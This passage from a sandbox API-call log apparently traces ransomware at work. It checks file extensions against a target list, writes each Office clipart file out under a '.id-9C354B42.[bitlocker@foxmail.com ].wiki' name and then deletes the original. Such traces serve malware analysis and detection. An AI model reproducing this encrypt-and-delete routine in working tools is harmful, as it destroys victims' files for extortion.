(lpString1=".7z", lpString2="png") returned -1 [0185.139] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-highlight.png") returned 75 [0185.139] lstrlenW (lpString=".dbf") returned 4 [0185.139] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0185.139] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-highlight.png") returned 75 [0185.139] lstrlenW (lpString=".1cd") returned 4 [0185.139] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0185.139] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-highlight.png") returned 75 [0185.139] lstrlenW (lpString=".jpg") returned 4 [0185.139] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0185.139] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-highlight.png") returned 75 [0185.139] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-highlight.png") returned 75 [0185.139] lstrlenW (lpString=".doc") returned 4 [0185.139] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0185.139] lstrlenW (lpString=".docx") returned 5 [0185.139] lstrcmpiW (lpString1=".docx", lpString2="t.png") returned -1 [0185.139] lstrlenW (lpString=".pdf") returned 4 [0185.139] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0185.139] lstrlenW (lpString=".xls") returned 4 [0185.139] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0185.140] lstrlenW (lpString=".xlsx") returned 5 [0185.140] lstrcmpiW (lpString1=".xlsx", lpString2="t.png") returned -1 [0185.140] lstrlenW (lpString=".ppt") returned 4 [0185.140] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0185.140] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-highlight.png") returned 75 [0185.140] lstrlenW (lpString=".zip") returned 4 [0185.140] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0185.140] lstrlenW (lpString=".rar") returned 4 [0185.140] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0185.140] lstrlenW (lpString=".bz2") returned 4 [0185.140] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0185.140] lstrlenW (lpString=".7z") returned 3 [0185.140] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0185.140] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-highlight.png") returned 75 [0185.140] lstrlenW (lpString=".dbf") returned 4 [0185.140] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0185.140] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-highlight.png") returned 75 [0185.140] lstrlenW (lpString=".1cd") returned 4 [0185.140] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0185.140] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-highlight.png") returned 75 [0185.140] lstrlenW (lpString=".jpg") returned 4 [0185.140] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0185.141] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0185.141] lstrlenW (lpString="BL00296_.WMF") returned 12 [0185.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0185.554] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=812) returned 1 [0185.554] CloseHandle (hObject=0x1cc) returned 1 [0185.554] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf")) returned 0x20 [0185.554] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0185.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0185.554] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0185.554] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0185.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0185.586] GetLastError () returned 0x0 [0185.586] ReadFile (in: hFile=0x1cc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x32c, lpOverlapped=0x0) returned 1 [0185.610] WriteFile (in: hFile=0x1c0, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x330, lpOverlapped=0x0) returned 1 [0185.611] ReadFile (in: hFile=0x1cc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0185.611] WriteFile (in: hFile=0x1c0, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0185.611] SetEndOfFile (hFile=0x1c0) returned 1 [0185.611] CloseHandle (hObject=0x1c0) returned 1 [0185.611] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0185.611] SetEndOfFile (hFile=0x1cc) returned 1 [0185.612] CloseHandle (hObject=0x1cc) returned 1 [0185.612] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0185.612] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf")) returned 1 [0185.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0185.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0185.612] lstrlenW (lpString=".doc") returned 4 [0185.612] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.612] lstrlenW (lpString=".docx") returned 5 [0185.612] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0185.612] lstrlenW (lpString=".pdf") returned 4 [0185.613] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.613] lstrlenW (lpString=".xls") returned 4 [0185.613] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.613] lstrlenW (lpString=".xlsx") returned 5 [0185.613] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0185.613] lstrlenW (lpString=".ppt") returned 4 [0185.613] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0185.613] lstrlenW (lpString=".zip") returned 4 [0185.613] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.613] lstrlenW (lpString=".rar") returned 4 [0185.613] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.613] lstrlenW (lpString=".bz2") returned 4 [0185.613] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.613] lstrlenW (lpString=".7z") returned 3 [0185.613] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0185.613] lstrlenW (lpString=".dbf") returned 4 [0185.613] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0185.613] lstrlenW (lpString=".1cd") returned 4 [0185.613] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0185.613] lstrlenW (lpString=".jpg") returned 4 [0185.613] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0185.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0185.613] lstrlenW (lpString=".doc") returned 4 [0185.613] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.613] lstrlenW (lpString=".docx") returned 5 [0185.613] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0185.613] lstrlenW (lpString=".pdf") returned 4 [0185.614] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.614] lstrlenW (lpString=".xls") returned 4 [0185.614] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.614] lstrlenW (lpString=".xlsx") returned 5 [0185.614] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0185.614] lstrlenW (lpString=".ppt") returned 4 [0185.614] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0185.614] lstrlenW (lpString=".zip") returned 4 [0185.614] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.614] lstrlenW (lpString=".rar") returned 4 [0185.614] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.614] lstrlenW (lpString=".bz2") returned 4 [0185.614] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.614] lstrlenW (lpString=".7z") returned 3 [0185.614] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0185.614] lstrlenW (lpString=".dbf") returned 4 [0185.614] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0185.614] lstrlenW (lpString=".1cd") returned 4 [0185.614] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0185.614] lstrlenW (lpString=".jpg") returned 4 [0185.614] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.614] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0185.615] lstrlenW (lpString="BL00648_.WMF") returned 12 [0185.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0185.615] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=11500) returned 1 [0185.615] CloseHandle (hObject=0x1cc) returned 1 [0185.615] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf")) returned 0x20 [0185.615] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0185.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0185.615] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0185.615] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0185.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0185.616] GetLastError () returned 0x0 [0185.616] ReadFile (in: hFile=0x1cc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x2cec, lpOverlapped=0x0) returned 1 [0185.635] WriteFile (in: hFile=0x1c0, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x2cf0, lpOverlapped=0x0) returned 1 [0185.636] ReadFile (in: hFile=0x1cc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0185.636] WriteFile (in: hFile=0x1c0, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0185.636] SetEndOfFile (hFile=0x1c0) returned 1 [0185.636] CloseHandle (hObject=0x1c0) returned 1 [0185.637] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0185.637] SetEndOfFile (hFile=0x1cc) returned 1 [0185.637] CloseHandle (hObject=0x1cc) returned 1 [0185.637] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0185.638] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf")) returned 1 [0185.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0185.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0185.638] lstrlenW (lpString=".doc") returned 4 [0185.638] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.638] lstrlenW (lpString=".docx") returned 5 [0185.638] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0185.638] lstrlenW (lpString=".pdf") returned 4 [0185.638] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.638] lstrlenW (lpString=".xls") returned 4 [0185.638] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.638] lstrlenW (lpString=".xlsx") returned 5 [0185.638] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0185.638] lstrlenW (lpString=".ppt") returned 4 [0185.638] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0185.638] lstrlenW (lpString=".zip") returned 4 [0185.638] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.638] lstrlenW (lpString=".rar") returned 4 [0185.638] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.638] lstrlenW (lpString=".bz2") returned 4 [0185.638] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.638] lstrlenW (lpString=".7z") returned 3 [0185.638] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0185.639] lstrlenW (lpString=".dbf") returned 4 [0185.639] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0185.639] lstrlenW (lpString=".1cd") returned 4 [0185.639] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0185.639] lstrlenW (lpString=".jpg") returned 4 [0185.639] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0185.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0185.639] lstrlenW (lpString=".doc") returned 4 [0185.639] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.639] lstrlenW (lpString=".docx") returned 5 [0185.639] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0185.639] lstrlenW (lpString=".pdf") returned 4 [0185.639] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.639] lstrlenW (lpString=".xls") returned 4 [0185.639] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.639] lstrlenW (lpString=".xlsx") returned 5 [0185.639] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0185.639] lstrlenW (lpString=".ppt") returned 4 [0185.639] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0185.639] lstrlenW (lpString=".zip") returned 4 [0185.639] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.639] lstrlenW (lpString=".rar") returned 4 [0185.639] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.639] lstrlenW (lpString=".bz2") returned 4 [0185.639] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.639] lstrlenW (lpString=".7z") returned 3 [0185.639] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0185.640] lstrlenW (lpString=".dbf") returned 4 [0185.640] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0185.640] lstrlenW (lpString=".1cd") returned 4 [0185.640] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0185.640] lstrlenW (lpString=".jpg") returned 4 [0185.640] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.640] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0185.640] lstrlenW (lpString="BL00932_.WMF") returned 12 [0185.640] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0185.640] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=19476) returned 1 [0185.640] CloseHandle (hObject=0x1cc) returned 1 [0185.640] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf")) returned 0x20 [0185.641] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0185.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0185.641] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0185.641] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0185.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0185.641] GetLastError () returned 0x0 [0185.641] ReadFile (in: hFile=0x1cc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x4c14, lpOverlapped=0x0) returned 1 [0185.656] WriteFile (in: hFile=0x1c0, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x4c20, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x4c20, lpOverlapped=0x0) returned 1 [0186.015] ReadFile (in: hFile=0x1cc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0186.016] WriteFile (in: hFile=0x1c0, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0186.016] SetEndOfFile (hFile=0x1c0) returned 1 [0186.016] CloseHandle (hObject=0x1c0) returned 1 [0186.016] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0186.016] SetEndOfFile (hFile=0x1cc) returned 1 [0186.017] CloseHandle (hObject=0x1cc) returned 1 [0186.017] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0186.017] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf")) returned 1 [0186.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0186.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0186.017] lstrlenW (lpString=".doc") returned 4 [0186.017] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.017] lstrlenW (lpString=".docx") returned 5 [0186.017] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.017] lstrlenW (lpString=".pdf") returned 4 [0186.017] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.017] lstrlenW (lpString=".xls") returned 4 [0186.017] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.017] lstrlenW (lpString=".xlsx") returned 5 [0186.018] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.018] lstrlenW (lpString=".ppt") returned 4 [0186.018] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0186.018] lstrlenW (lpString=".zip") returned 4 [0186.018] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.018] lstrlenW (lpString=".rar") returned 4 [0186.018] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.018] lstrlenW (lpString=".bz2") returned 4 [0186.018] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.018] lstrlenW (lpString=".7z") returned 3 [0186.018] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0186.018] lstrlenW (lpString=".dbf") returned 4 [0186.018] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0186.018] lstrlenW (lpString=".1cd") returned 4 [0186.018] lstrcmpiW (lpString1=".1cd", 